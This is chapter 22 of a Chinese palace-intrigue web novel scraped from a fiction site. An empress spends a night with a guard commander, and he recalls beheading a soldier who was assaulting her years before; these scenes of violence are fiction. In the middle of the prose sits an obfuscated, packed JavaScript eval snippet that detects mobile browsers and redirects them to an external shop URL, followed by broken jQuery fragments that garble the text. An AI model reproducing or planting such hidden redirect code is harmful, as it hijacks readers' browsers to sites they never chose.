文趣网 > 其他小说 > 拉妃 > 22. 第 22 章
    那方手绢在老梁袖子里,已经揣了四日了。

    他每晚就着灯,把它从袖子里取出来,摊在掌心。手绢是浅碧色的,一枝白梅绣得极小,角上"烟"字是极细的金线。他这四日看了不下二十遍,每一处针脚都熟了。

    熟了他也没送去。

    他知道自己迟早要送。他也知道自己一送,就是踏进烟华殿那个明摆着的钩子里。可他这四日,就是没送。他每次拿起手绢来,心里那点像森语梦的脸就冒上来一次;那张脸冒上来一次,他心里就多犹豫一次。

    娟儿在门口候着。这四日她已经看了自家娘娘不下十几眼,可她一句没敢问。她只知道娘娘每晚就着灯,摆弄一方她见都没见过的、不是自家的手绢,摆弄半天,又收起来。

    老梁把手绢重新叠好,塞回袖里。

    "娟儿。"

    "娘娘。"

    "没事。"他说,"你歇着去吧。今夜我不用你伺候了。"

    "娘娘要是——"

    "去吧。"

    娟儿屈膝退了出去。

    殿里静下来。老梁一个人坐着,望着窗外一片没有月亮的天。他心里那点犹豫,被他自己压回去了。他还没决定送。他也知道自己迟早要送。

    他这辈子做了那么多单子,从没有过这样的一单——**明知道对方在钩他,他还非要往上凑一凑**。

    慈宁宫这一头,文馨屏退了所有人。

    垂西公公给她备好了茶,添了炭,把偏殿那扇通往寝宫的门放下了帘子。他一句话没多说,退到了外头,守着殿门。他跟了皇后娘娘这些年,他知道今夜的分寸——**娘娘要一个人**。

    殿里,只剩文馨一个人。

    她没有更衣,也没有卸妆。她就那么穿着一身极素的宫装,坐在窗下的圈椅上。手里那串念珠,一颗一颗地捻着。可她自己没在数。

    嘉峥要来了。

    垂西公公去传的话。这个时辰他大约刚刚下值——按嘉峥的习惯,接到消息之后,他会绕远路,从西边角门进宫,走宫道最偏的那一条,避开所有人。他一路走过来,至少还要半个多时辰。

    文馨这半个多时辰,坐在窗下,什么也没做。

    她也没在想嘉峥。

    她心里翻着的是他。

    那个死了十几年、现在活过来的男人。她昨儿一夜没合眼——不,也许合过。她也不知道。她只知道她一闭上眼,脑子里就是那个背影。那个静安寺后山径上、绕着走开的、微微佝偻的背影。他上车时回头望的那一眼。他这十几年在南边操着大棋、把她蒙在鼓里的十几年。

    她的手指在念珠上,捻着,捻着,慢下来了。

    她想着想着,脑子就不由自主地往更远的地方走了。

    那一年,她二十岁。

    那一夜没有月亮。

    大火烧起来的时候,她不在王府。她带着才两岁多的婉清,正在城外的庄子上小住。

    那庄子距王府有三十里地。三十里地不算远,可那晚的风向反了——风朝着城里刮,火光都是横着扑向北面天空的。她抱着婉清站在庄子的院子里,隔着三十里地的夜色,看着半边天被那一场火烧红。

    她那一下就知道,坏了。

    她连夜带着婉清从后门走。她走得极慌,慌得连行装都没收拾。她只抓了一件冬天的斗篷裹着孩子。

    她也不知道自己要去哪儿。她只知道要往南。她带着孩子,一路南逃。天亮之前,她跑不动了——一个抱着孩子的年轻妇人,能跑多远。

    她躲进了城外南边一大片芦苇荡。

    那芦苇荡有半里地深,芦苇一人多高,密得插不进去脚。她抱着婉清一路往深处走,走到最深处一片被压塌的芦苇窝里,蹲下了。

    婉清那会儿哭闹。文馨把孩子搂紧了,用衣袖捂住她的嘴。她自己也不敢喘气。

    天蒙蒙亮的时候,她听见了。

    火把的声音。

    远远地。

    一开始是一片,只听得出人多、走得急,听不出他们在说什么。慢慢地近了。近了她能听出话头了——他们在搜。他们在搜逃出王府的人。他们知道她带着孩子在这一带。

    火把越来越近。

    婉清那会儿被她捂着嘴,睡着了。这孩子这一夜哭得太累了。文馨看着自己怀里那张小小的脸——两岁多了,眉眼已经长开,有几分像她父亲了。文馨望着那张脸,望着,望着。

    火把已经近到能听见其中一个兵在骂人了。

    文馨心里一沉。

    她知道——藏不住了。这一片芦苇荡就这么大,他们从北头搜到南头,她这一处窝早晚要被搜出来。她抱着孩子逃不动。他们一到,她跟孩子都是死。

    她低下头,看着怀里的婉清。

    她想了一息。就一息。

    她慢慢地把婉清从怀里挪出来。她把那件裹着孩子的冬斗篷取下来,铺在压塌的芦苇上,让婉清躺在斗篷上。婉清睡得沉,动都没动一下。文馨用那件斗篷的一角遮住了她的脸——遮住那张跟她父亲有几分像的小脸。

    然后她站起来。

    她走出了那片芦苇窝。她背对着自己女儿睡着的那一片,一步一步地,往火把的方向,走了过去。

    她心里想着一句话。

    **我死了也要让这孩子活。**

    窗外传来了极轻的脚步声。垂西公公在殿门外压低了声音。

    "娘娘。嘉将军到了。"

    文馨那只捻珠子的手,那一下才停了下来。

    她抬起头。

    "让他进来。"

    嘉峥进来的时候,一身当值的玄色甲胄还没卸下。他跨进殿门,先在原地站住了,垂着眼。

    "娘娘。"

    文馨望着他。

    眼前这个人,一身甲胄,站得笔直。他一身像杆枪的那种沉默的绷紧,在她这间点着一盏灯的殿里,显得有点儿突兀。

    "过来。"她道,"卸了甲。"

    嘉峥抬起眼,看了她一眼。

    他今晚接到传令的时候,就知道今夜不一样。可她这一句"卸了甲",还是让他楞了一息。他这些年来慈宁宫,从没卸过甲。

    他一手一手地卸。甲叶落下,轻轻磕在木几上。他把甲胄一件件搭在殿角的椅背上。卸完之后他就穿着一件里衬的黑衣。他人一下子瘦了一圈,也软了半分。

    "坐。"文馨道。

    嘉峥在她对面的圈椅上坐下。他坐得极浅。

    "喝茶。"文馨给他倒了一盏。

    嘉峥端起来,抿了一口。那茶的味道他不熟。他这辈子喝的茶不多,宫里的茶更喝不惯。可他没说。他就那么慢慢地抿着。

    文馨看着他喝。

    "这几日当值,累不累。"

    "不累。"

    "睡够了没有。"

    "够。"

    "鞋底还好么。"

    嘉峥抬起眼,看了她一眼。

    他这辈子不记得有女人这样问过他鞋底。他不知怎么答。他斟酌了一下,答:"还好。前几日换过一双新的。"

    "嗯。"文馨道,"新鞋底容易磨脚,你自己留意着。宫里头当值一站就是一夜,磨破了就麻烦。"

    "是。"

    嘉峥抬起眼,望着文馨。

    他不知道今夜是怎么了。文馨从没有这样跟他说过话。往日里两个人独处,说的都是事——南边的动静、宫里的部署、动手那一刻怎么走。他一辈子习惯了她"娘娘"的样子——端着、稳着、每一句话都在盘算大局的样子。

    今夜她跟他说鞋底。她问他睡够了没。她给他倒茶。

    嘉峥不知道该怎么接。他一辈子做刀习惯了,做人不擅长。他被她这一份日常的柔弱住了。他甚至有那么一瞬——他想起了自己十几岁那年离家上军营前,他娘替他缝鞋垫的那个下午。他娘也是这样问他的。

    他不知道自己怎么答。他就那么坐着,望着她。

    文馨看着他那副样子,笑了一下。

    那笑很淡,也很少见。

    "嘉峥,"她极轻地说,"你过来。"

    嘉峥站起身。他有些不知所措。他走过去,站在她的椅子前。

    文馨伸出手,握住了他的一只手。

    那只手是他一辈子握刀的手。骨节粗大,手背上有一道浅浅的旧疤。她的手覆在他手背上,凉的。

    "嘉峥,"她道,"陪我坐一会儿。"

    嘉峥"嗯"了一声。他不知道该怎么坐——他站着觉得别扭,坐回椅子上又觉得别扭。文馨拉了拉他的手,让他挨着她的椅子坐下。他就那么半跪着,半坐着,把一边的膝盖搁在了她椅子边上。

    文馨的手,仍旧覆在他手背上。

    殿里静得只有那盏灯偶尔爆一下灯花。

    嘉峥能感觉到自己的心跳。他一辈子在御前当差,见过多少刀光剑影都没心跳过。可今夜他坐在她身边,心跳得他自己都听得见。

    过了很久,文馨才开口。

    "嘉峥,"她极轻地说,"那一夜——"

    嘉峥的身子,那一下僵住了。

    他不用问是哪一夜。他这十几年,脑子里就只有那一夜。

    文馨没有立刻往下说。她的手指在他手背上,慢慢地捻了一下。

    "那一夜若不是你出手杀了那个淫贼,"她的声音更轻了,"我或许已经……"

    她没有说完。

    嘉峥闭上了眼。

    他这十几年在心里排演过这一刻无数遍。他排演过所有的可能——她开口的方式、她说到哪个字停下、他要怎么答。他每一种答法都想过。

    可他真的听见这一句时,他排演的所有版本都散了。

    他答不出来。

    "娘娘,"他极轻地开口,声音是哑的,"你——"

    他没往下说。

    文馨也没有催。

    过了很久很久,嘉峥才慢慢地开口。他答的也不是她那一句的话头。他答的是他自己那一夜心里翻起来的东西。

    "那一夜的月亮很亮。"他说。

    文馨"嗯"了一声。

    "你从芦苇荡里走出来的时候,"嘉峥慢慢地说,"我以为你是个鬼。你脸上没有一点血色。你的头发散着,衣服也乱着。你走过来的时候一句话都没说。你就那么看着我们。"

    他停了很久。

    "我拿着刀。手底下的那些人已经扑上去了。我心里想的是——我今夜要杀这个女人。这是我的差事。"

    文馨没有说话。

    "可我没有杀。"嘉峥的声音更低了。

    文馨的手,从他手背上,慢慢地滑上去了。她的指尖,落在了他左眉骨那道旧疤上。

    "我记得那件披风。"她极轻地说。

    嘉峥的呼吸屏住了。

    "你脱下来,盖在我肩上。"文馨的指尖顺着他那道疤,往下滑,落在他的脸颊上,"我以为你是要拿去擦自己脸上的血。你脱下来,盖在我肩上——我那一下——才知道我今夜死不了了。"

    她的指尖在他脸上停住了。

    "嘉峥,"她道,"这些年,我都记得。每一样,都记得。"

    嘉峥闭上眼睛。他这十几年撑着自己不敢想的那一层东西,被她这三句话,一下子撕开了。

    他伸出手,抱住了她。

    他抱得极紧。他这辈子第一次这样抱一个女人。文馨在他怀里,那具身子极轻,比他记忆里那一夜的分量还轻。他心里翻起来的东西他自己都说不清。他把脸埋在她的鬓角,闻见她发间那一点极淡的宫里的香。

    文馨没有说话。她就那么伏在他怀里。

    过了很久,他感觉自己肩上,湿了一下。

    文馨哭了。

    就那么一下。眼泪掉在他黑衣的肩上。她也没抬起头擦。她就那么伏着。

    嘉峥慌了。他一辈子没见过她哭。他这几年在心里排演过她笑、排演过她冷、排演过她被人算计——可他没排演过她哭。他不知道该怎么办。

    他伸出手,笨拙地,替她抹了一下鬓边的头发。他不敢碰她的脸。他就那么替她拢了拢头发。

    "娘娘——"

    "嘉峥。"文馨的声音闷闷地从他肩上传上来,"你别问。"

    "我——"

    "抱着我就行。"她说。

    嘉峥就抱着。

    他们没有再说话。

    他抱着她。她伏在他肩上。灯花偶尔爆一下。窗外一片没有月亮的夜。

    嘉峥心里翻着的东西他自己都说不清。他这辈子欠她的、他这辈子想给她的、他这辈子没敢说出口的——今夜一起翻上来。可他一样都没说。他只是抱着。

    他抱着的时候,文馨伏在他肩上,闭着眼睛。

    她心里翻着的,是延平王。

    是那个死了十几年又活过来的男人。是那个在南边操着一盘她不知道的大棋的男人。是那个即将进京、即将坐上龙椅、即将见到她的男人。

    他会怎么看她这十几年?他会不会问她当年为什么不自刎?他会不会问她凭什么活到今日?

    她今夜靠着嘉峥——这个救过她命、又把她推给永昌帝的男人——她心里翻着延平王。她的眼泪,一半是给他的,一半是给身边这个抱着她的男人的。她自己都分不清哪一半是哪一半。

    她今夜要不要告诉嘉峥?

    她心里那盘秤,翻来覆去。告诉他——他就知道他这些年替她卖的这条命、他即将去杀永昌帝的这一刀、这盘复辟大棋背后,其实还站着一个活着的、他手底下屠过其家的旧亲王。他会怎么想?他会不会退缩?他会不会怀疑她?

    她不能冒这个险。

    她需要嘉峥继续替她卖命。她需要嘉峥继续以为,他只是在替她文馨一个人的复辟大业卖命。她需要那一刀。

    她心里那盘秤,压向了不告诉。

    她伏在他肩上,闭着眼睛。她这一辈子的独。她救过他一次(她替他守住了当年砍小兵那道口子),她今夜又要害他一次(她瞒着他延平王活着的事)。她欠他的、她害他的、她爱他的、她用他的——今夜一起翻上来。

    她把脸埋得更深了一点。

    嘉峥的肩,是温的。

    天蒙蒙亮的时候,嘉峥要走了。

    他从床上起身。文馨躺着,望着他。

    嘉峥背对着她,把那件里衬的黑衣披上,然后一件件把甲胄从殿角椅背上拿过来,重新穿上。

    甲叶碰撞的声音在殿里响着。

    文馨躺着,一动不动。她望着他那背对着她的身影。他左眉骨那道疤,此刻从侧面看,浅浅地一线。他这十几年一次一次在她面前出现,可她从没有像今日这样——像一个从他身边刚起身的女人——看过他这道疤。

    他穿好甲胄,转过身。

    "娘娘,"他极轻地说,"你歇着,我走了。"

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17900904|212941||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    文馨"嗯"了一声。

    嘉峥站在床边,望了她一息。他好像还想说什么,可他终究没说。他打了个千儿,转身出去了。

    殿门被他轻轻带上。

    文馨一个人躺在床上,一动没动。

    窗外的天,一寸一寸地亮起来。

    她没有闭眼,也没有起身。她躺着,望着帐顶。

    昨儿一夜她心里那口气,此刻还堵着。可它比昨儿轻了一层——嘉峥抱着她那一夜,把那口气按下去了一层。

    她心里还有一层。她今夜做了那个决定——**不告诉他**。这个决定压在她心里。她自己知道这个决定意味着什么。

    窗外一只鸟叫了一声。

    她慢慢地闭上眼。

    嘉峥出了慈宁宫。

    宫道上一个人也没有。天蒙蒙亮,宫墙的两侧还灰蒙蒙的。他一步一步地走着。他今晚的甲胄穿得不平——他刚才在殿里穿甲的时候,脑子里翻着的都是她。他自己都没察觉甲叶有一处没扣好。

    他走到宫门外,交了牌。守宫门的兵头看了他一眼,一句话没说。

    他从宫门外一路走回禁军侍卫府。

    侍卫府门口那株老槐树,比他初进禁军那年长高了一大截。他站在树下,望着门。

    他没有进去。

    他抬起头,望向了西边天上。

    那轮月亮还在。天已经蒙蒙亮了,可西边天上,那轮月亮还挂在那儿,淡淡的,像是要留到最后一刻。

    十几年前那一夜的月亮,也是这样。

    他记得。

    那一夜的月亮很亮,亮到能看清芦苇荡里每一根芦苇的影子。

    他带着一小队人,在城郊搜捕。那一晚永昌那边下令,凡是从王府逃出来的、但凡跟延平王沾着血亲的、一个都不能留。他手底下有六个兵。他那年十九——不,十八,快过十九的生辰。他刚从边地调回来不久。

    他们搜到南郊那片芦苇荡的时候,天快亮了。他手底下的兵已经累了。他自己也累。他心里想着——搜完这一片就回去交差。若是这一片什么也没有,那就是天意。

    芦苇荡里"哗啦"一声——芦苇动了。

    他手底下那六个兵,齐刷刷抬起了刀。

    从芦苇丛里,走出来一个人。

    一个女人。

    她没有穿斗篷,只穿了一件里头的浅色单衣。头发散着。脸上没有血色。她一步一步地走出来。她走到火把光底下,站住了。她一句话没说,就那么看着他们。

    嘉峥那一下,心跳漏了一拍。

    他手底下的兵,看见她走出来那一刻,先是愣了一息,然后——

    那一夜火把的光底下,他记得极清楚。

    领头那个小兵,姓陈。二十来岁,家在北边。当兵三年了。人不算坏,可军营里那一套糙的东西他学得极熟。他一看见那女人的样子,眼神变了。他"哈"了一声,扔了火把,扑了上去。

    嘉峥听见他嘴里骂着什么。他也听见那女人被人拽倒的声音。他听见衣服被撕开的声音。

    嘉峥的手,那一瞬按上了刀柄。

    他这辈子想过无数次那一瞬——他为什么按刀。

    他后来跟自己说过:他按刀是因为军纪。军纪不许□□。

    可他也知道那不是真的。他按刀之前,先看了她一眼。她被拽倒在地上,头发散着,眼睛望着他。她没有哭。她只是望着他。她的眼睛在火把光底下亮得吓人。

    他那一眼里看见的东西——不是恐惧、不是求救。是**明白**。她在那一瞬明白了他心里翻起来的东西。

    他一个刚屠了她全家的兵,他抬眼看她,看的是心动的眼神。

    **她明白了。**

    他拔刀了。

    "违背军纪。"他听见自己的声音,稳得吓人。

    他一刀砍下去。

    那颗头落在了离她脚边几步远的地方。血溅到了嘉峥自己脸上。他手底下另外五个兵,一下子全愣住了。

    那女人的眼睛,望着那颗头。

    她没有害怕。她那一眼里的东西——比方才那一眼更狠。

    她全懂。

    嘉峥站在侍卫府门口的老槐树下,抬着头,望着西边天上那一轮淡淡的月亮。

    他这十几年里,一想起那一夜,就想起姓陈的那个兵。

    那小兵的头滚在地上、离她脚边几步。他姓陈。他家在北边。那年家里还有个老母、有个未过门的媳妇。他后来花了一年多打听,才打听清楚这些。他悄悄给那老母家里,一年一年地送粮送钱,送到今日。他没跟任何人说过。他也没告诉过文馨。

    他为什么要给那老母送?

    一开始他觉得是赎罪。他杀了那小兵,那小兵的老母孤苦无依,他该顶上。

    后来他发现,那不是赎罪。

    **那是一份贴补。他是在贴补自己心里那份不后悔。**

    他这十几年真心想过——那小兵姓陈的那一刀,他到底该不该砍。

    按军纪,该砍。可他那一刀底下藏着的是他自己的私欲。他要那女人活着。他要那女人不被别人碰。他借"军纪"两个字,替自己砍了一个替他做了他心里也想做的事的兵。

    那小兵那时候扑上去做的事,他嘉峥心里那一瞬也想过。区别只在他压住了自己的野兽——他把野兽借着"违背军纪"这四个字,砍在了别人脑袋上。

    姓陈的那个小兵到死都不知道——他那一刀底下真正被砍的,不是他,是那个抬手的、当他头儿的人自己的欲。

    嘉峥站在月亮底下。

    他这十几年问过自己无数次——若是重来一次,你还砍不砍?

    他知道答案。

    **他还砍。**

    他要文馨活着。他要她别被那小兵碰。他这条命还给她都可以。姓陈的那小兵的那颗头,他还愿意换一次。

    一个知道自己欠债、也知道自己不后悔的人。

    他这十几年就活在这里头。

    他抬起手,摸了一下自己脸颊。

    十几年前那一夜血溅到脸上的位置,他这辈子记得。他自己都不知道自己这十几年洗过多少次脸。可他闭上眼睛,还能感觉到那一夜溅上去的血是热的。

    他把手放下。

    他望着西边那轮月亮,望了很久。

    他想起后来押送文馨回京城的一路——他一次都没回头看那片芦苇荡。他假装那里什么都没有。他假装他听不见任何声音。他把队伍带走了。

    他把她送到永昌帝的人手里。他是最低级的兵头,没资格进殿。他在殿门口站了一整夜。他听见殿里的动静。

    他这十几年欠她的债,从那一夜起就欠上了。他救了她——可他把她送到了另一个更狠的人手里。

    他今夜刚从她床上出来。

    他这辈子第一次拥抱她。他把脸埋在她鬓角,闻见她发间那点极淡的、他梦里都想过的味道。

    可他这辈子欠她的——欠那小兵姓陈的、欠芦苇荡里那一夜他假装没听见的所有的东西、欠这天下所有被那一夜牵累的人的——

    一样都还不完。

    他今夜拥抱过她了。

    **可他还不清。**

    他站在老槐树底下,一动不动。

    天已经亮了大半。西边天上那轮月亮,慢慢地,隐了下去。

    他没有进侍卫府。

    他就那么站着。